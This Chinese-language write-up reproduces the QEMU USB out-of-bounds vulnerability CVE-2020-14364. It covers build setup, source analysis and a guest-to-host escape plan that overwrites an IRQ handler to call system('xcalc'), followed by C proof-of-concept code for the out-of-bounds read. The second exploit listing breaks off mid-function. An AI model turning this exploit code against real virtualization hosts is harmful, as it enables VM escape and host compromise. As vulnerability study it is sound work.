CVE-2020-14364-Qemu逃逸漏洞复现

00 前言

为了完成课程任务,不得不提前来学习一下Qemu逃逸的知识,这部分内容本来打算把pwn的基础打好之后再来接触,但是既然是课程要求那就没办法了(哭)。

这个漏洞的成因是QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。

01 环境搭建

安装spice-protocol:

1
2
3
4
5
6
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudo make install

安装celt

1
2
3
4
5
6
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudo make install

安装依赖

1
2
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev

安装spice-server:

1
2
3
4
5
6
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudo make install

高版本ld不支持编译qemu4.2.1,降低一下ld版本:

1
2
3
4
5
6
7
8
9
10
wget https://ftp.gnu.org/gnu/binutils/binutils-2.30.tar.gz
tar -xvf binutils-2.30.tar.gz
cd binutils-2.30
./configure --prefix=/usr/local/binutils
make -j6
sudo make install
# 替换掉高版本的ld
cd /usr/local/binutils
sudo mv /usr/bin/ld /usr/bin/ld.back
sudo ln -s /usr/local/binutils/bin/ld /usr/bin/ld

编译安装qemu源码,qemu版本为v4.2.1

1
2
3
4
5
6
7
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make

编译出来qemu的路径为./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64

制作一个usb设备:

1
2
qemu-img create -f raw disk_01.img 32M
mkfs.vfat disk_01.img

拉取一个ubuntu的iso文件:

1
wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso

创建一个qcow2的虚拟机镜像文件:

1
qemu-img create -f qcow2 ubuntu.qcow2 20G

启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
/opt/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
-machine q35 \
-m 1G \
-hda ubuntu.qcow2 \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22 \
-enable-kvm \
-usb \
-cdrom ubuntu-20.04.6-live-server-amd64.iso \
-drive if=none,format=raw,id=disk1,file=/opt/disk_01.img \
-device usb-storage,drive=disk1 \
-device qxl-vga \

02 漏洞分析

关键结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
/* definition of a USB device */
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; // key data
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};

struct EHCIState
{
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
MemoryRegion mem_caps;
MemoryRegion mem_opreg;
MemoryRegion mem_ports;
int companion_count;
bool companion_enable;
uint16_t capsbase;
uint16_t opregbase;
uint16_t portscbase;
uint16_t portnr;

/* properties */
uint32_t maxframes;

/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union
{
uint32_t opreg[0x44 / sizeof(uint32_t)];
struct
{
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
uint32_t portsc[NB_PORTS];

/*
* Internal states, shadow registers, etc
*/
QEMUTimer *frame_timer;
QEMUBH *async_bh;
bool working;
uint32_t astate; /* Current state in asynchronous schedule */
uint32_t pstate; /* Current state in periodic schedule */
USBPort ports[NB_PORTS];
USBPort *companion_ports[NB_PORTS];
uint32_t usbsts_pending;
uint32_t usbsts_frindex;
EHCIQueueHead aqueues;
EHCIQueueHead pqueues;

/* which address to look at next */
uint32_t a_fetch_addr;
uint32_t p_fetch_addr;

USBPacket ipacket;
QEMUSGList isgl;

uint64_t last_run_ns;
uint32_t async_stepdown;
uint32_t periodic_sched_active;
bool int_req_by_async;
VMChangeStateEntry *vmstate;
};

关键函数

usb_packet_copy 函数根据p->pid 判断调用iov_to_buf 函数或者是iov_from_buf 函数。在漏洞利用过程中,iov_from_buf函数将s->data_buf + s->setup_index 复制到iov->iov.base 用户空间中,实现设备空间读。iov_to_buf 函数将iov->iov.base 复制到s->data_buf + s->setup_index 设备空间中,实现设备空间写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;

assert(p->actual_length >= 0);
assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length += bytes;
}

static inline size_t
iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,
size_t offset, const void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(iov[0].iov_base + offset, buf, bytes);
return bytes;
} else {
return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}

static inline size_t
iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,
size_t offset, void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(buf, iov[0].iov_base + offset, bytes);
return bytes;
} else {
return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}

上述iov->iov.base 是用户可以控制的地址,具体可从以下函数追溯。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// ehci_execute
// ...
if (p->async == EHCI_ASYNC_NONE)
{
if (ehci_init_transfer(p) != 0)
{
return -1;
}

spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0);
usb_packet_setup(&p->packet, p->pid, ep, 0, p->qtdaddr, spd,
(p->qtd.token & QTD_TOKEN_IOC) != 0);
usb_packet_map(&p->packet, &p->sgl);
p->async = EHCI_ASYNC_INITIALIZED;
}
// ...

int usb_packet_map(USBPacket *p, QEMUSGList *sgl)
{
DMADirection dir = (p->pid == USB_TOKEN_IN) ?
DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE;
void *mem;
int i;

for (i = 0; i < sgl->nsg; i++) {
dma_addr_t base = sgl->sg[i].base;
dma_addr_t len = sgl->sg[i].len;

while (len) {
dma_addr_t xlen = len;
mem = dma_memory_map(sgl->as, base, &xlen, dir);
if (!mem) {
goto err;
}
if (xlen > len) {
xlen = len;
}
qemu_iovec_add(&p->iov, mem, xlen); // mem与xlen来自sgl->sg[i].base与sgl->sg[i].len
len -= xlen;
base += xlen;
}
}
return 0;

err:
usb_packet_unmap(p, sgl);
return -1;
}

void qemu_iovec_add(QEMUIOVector *qiov, void *base, size_t len)
{
assert(qiov->nalloc != -1);

if (qiov->niov == qiov->nalloc) {
qiov->nalloc = 2 * qiov->nalloc + 1;
qiov->iov = g_renew(struct iovec, qiov->iov, qiov->nalloc);
}
qiov->iov[qiov->niov].iov_base = base;
qiov->iov[qiov->niov].iov_len = len;
qiov->size += len;
++qiov->niov;
}

接下来就看sgl->sg[i].basesgl->sg[i].len 从何处而来即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// ehci_execute
// ...
if (p->async == EHCI_ASYNC_NONE)
{
if (ehci_init_transfer(p) != 0)
{
return -1;
}

spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0);
usb_packet_setup(&p->packet, p->pid, ep, 0, p->qtdaddr, spd,
(p->qtd.token & QTD_TOKEN_IOC) != 0);
usb_packet_map(&p->packet, &p->sgl);
p->async = EHCI_ASYNC_INITIALIZED;
}
// ...

static int ehci_init_transfer(EHCIPacket *p)
{
uint32_t cpage, offset, bytes, plen;
dma_addr_t page;

cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE);
bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES);
offset = p->qtd.bufptr[0] & ~QTD_BUFPTR_MASK;
qemu_sglist_init(&p->sgl, p->queue->ehci->device, 5, p->queue->ehci->as);

while (bytes > 0)
{
if (cpage > 4)
{
fprintf(stderr, "cpage out of range (%d)\n", cpage);
qemu_sglist_destroy(&p->sgl);
return -1;
}

page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK;
page += offset;
plen = bytes;
if (plen > 4096 - offset)
{
plen = 4096 - offset;
offset = 0;
cpage++;
}

qemu_sglist_add(&p->sgl, page, plen); // page与len来自p->qtd.token字段
bytes -= plen;
}
return 0;
}

void qemu_sglist_add(QEMUSGList *qsg, dma_addr_t base, dma_addr_t len)
{
if (qsg->nsg == qsg->nalloc) {
qsg->nalloc = 2 * qsg->nalloc + 1;
qsg->sg = g_realloc(qsg->sg, qsg->nalloc * sizeof(ScatterGatherEntry));
}
qsg->sg[qsg->nsg].base = base;
qsg->sg[qsg->nsg].len = len;
qsg->size += len;
++qsg->nsg;
}

p->qtd.token 字段是我们可以控制的,总的来说,调用usb_packet_map 函数可以实现用户可控内容读写。

漏洞定位

qemu-4.2.1\hw\usb\core.c: do_token_setup

[1]处调用usb_packet_copy 函数控制变量s->setup_buf,[2]处根据s->setup_buf 为变量s->setup_len赋值,其最大为0xffff,但是[3]处判断逻辑出现问题,使得s->setup_len > sizeof(s->data_buf) 条件成立的情况下,依然为变量s->setup_len 赋值,没有起到检查的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size); //<----------------- [1]
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; //<---------------- [2]
if (s->setup_len > sizeof(s->data_buf)) { //<------------------ [3]
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}

if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}

p->actual_length = 8;
}
1
qemu-4.2.1\hw\usb\core.c:do_token_in

[1]处通过s->setup_len获取len字段,而p->iov.size 根据上述分析用户可控,然后在[2]处调用usb_packet_copy 函数造成越界访问,从而获取越界读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;

assert(p->ep->nr == 0);

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;

case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index; // [1]
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); // [2]
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}
1
qemu-4.2.1\hw\usb\core.c:do_token_out

同理,[1]处通过s->setup_len获取len字段,而p->iov.size 根据上述分析用户可控,然后在[2]处调用usb_packet_copy 函数造成越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;

case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index; // [1]
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); // [2]
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

03 使用pwngdb调试

1
gdb /opt/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64

image-20251215105548295

04 漏洞利用

整体利用思路

1
2
3
4
5
6
7
8
9
10
do_token_setup -> 先发一个正常包设置 s->setup_state 
do_token_setup -> 发一个size为0x5000的包设置 s->setup_len
do_token_out -> 越界写,控制 s->setup_index
do_token_out -> 控制 s->setup_buf 使其能进入do_token_in进行读操作,同时设置 s->setup_index控制读的位置
do_token_in -> 读操作,泄漏text(text段)、irq(heap段)地址
do_token_setup -> 重新发送一个正常包恢复状态
do_token_setup -> 发一个size为0x5000的包设置 s->setup_len
do_token_out -> 越界写,控制 s->setup_index,指向irq->handler
do_token_out -> 覆盖irq->handler为system@plt
最后通过mmio读写触发ehci_update_irq->qemu_set_irq,最终执行system('xcalc'),完成利用

下断点在do_token_in

1
b do_token_in

image-20251215105636485

越界读

  1. 调用do_token_setup 设置越界长度
  2. 调用do_token_ins->data_buf 数据复制到用户空间,实现越界读

越界写

  1. 调用do_token_setup 设置越界长度
  2. 调用do_token_out 将用户空间数据写入s->data_buf 中,实现越界写

获取基地址:通过越界读,获取USBDevice 对象的地址,通过计算偏移,可以得到data_bufUSBPort 字段的地址。搜索越界读的内容,可以泄露代码段地址,可以得到程序基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>

struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;

#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8

uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;

// Assert page alignment

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);

uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present

phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);

close(fd);
return phys;
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}

void init(){

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: 0x%lx\n", (uint64_t)mmio_mem);


int i;
for(i = 0; i < 0x1000; ++i)
{
dmabuf = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
*(char *)dmabuf = 'a';
*(char *)(dmabuf + 0x1000) = 'b';
*(char *)(dmabuf + 0x2000) = 'c';

entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;

// printf("phy_data_buf: 0x%lx\t phy_data_buf_oob: 0x%lx\n", virt2phys(data_buf), virt2phys(data_buf_oob));

if(virt2phys(data_buf) + 0x1000 == virt2phys(data_buf_oob))
{
printf("dmabuf: 0x%lx\n", (uint64_t)dmabuf);
printf("phy_dmabuf: 0x%lx\n", virt2phys(dmabuf));
printf("data_buf: 0x%lx\n", (uint64_t)data_buf);
printf("phy_data_buf: 0x%lx\n", virt2phys(data_buf));
printf("data_buf_oob: 0x%lx\n", (uint64_t)data_buf_oob);
printf("phy_data_buf_oob: 0x%lx\n", virt2phys(data_buf_oob));
break;
}
else
{
continue;
}
}

if(i == 0x1000)
{
die("Unable to find a contiguous physical address!");
}

printf("init Success!\n");
}

void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}

void set_EHCIState(){
mmio_write(0x2C, 0); // frindex
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}

void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}

void init_state(){
reset_enable_port();
set_qh();

setup_buf[6] = 0xff;
setup_buf[7] = 0x0;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);

*entry = virt2phys(qh)+0x2;

set_EHCIState();

printf("init_state Success!\n");
}

void set_length(uint16_t len,uint8_t option){

reset_enable_port();

set_qh();

setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);

set_EHCIState();

printf("set_length Success!\n");
}

void setup_state_data()
{
set_length(0x500, USB_DIR_OUT);
}


void debug()
{
getchar();
getchar();
}

int main()
{

init();

iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);

// debug();

init_state();
set_length(0x200, USB_DIR_IN); // s->setup_state = SETUP_STATE_DATA;
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read

for(int i = 0; i < 0x20; ++i)
{
printf("data_buf[%d]: %lx\n", i, *(uint64_t *)(data_buf + i * 8));
}

printf("--------------------------------------------\n");

for(int i = 0; i < 0x20; ++i)
{
printf("data_buf_oob[%d]: %lx\n", i, *(uint64_t *)(data_buf_oob + i * 8));
}

struct USBDevice* usb_device_tmp = data_buf_oob + 0x4;
struct USBDevice usb_device;
memcpy(&usb_device, usb_device_tmp, sizeof(USBDevice));

dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
USBPort_addr = dev_addr + 0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);

uint64_t *tmp=data_buf_oob+0x4fc; // desc_device_high

long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
printf("[*] Raw Leaked Address: 0x%llx\n", leak_addr);

return 0;
};

image-20251215153353142

获取程序地址:

image-20251215153505421

计算偏移

image-20251215153743804

计算system的地址

1
objdump -d -j .plt.sec /opt/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 | grep "system"

image-20251215112054219

修改poc后执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>

struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;

#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};

struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;

/* endpoint capabilities */
uint32_t epcap;

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;

uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqh;

typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;

uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqtd;

uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;

// Assert page alignment

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);

uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present

phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);

close(fd);
return phys;
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}

void init(){

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: 0x%lx\n", (uint64_t)mmio_mem);


int i;
for(i = 0; i < 0x1000; ++i)
{
dmabuf = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
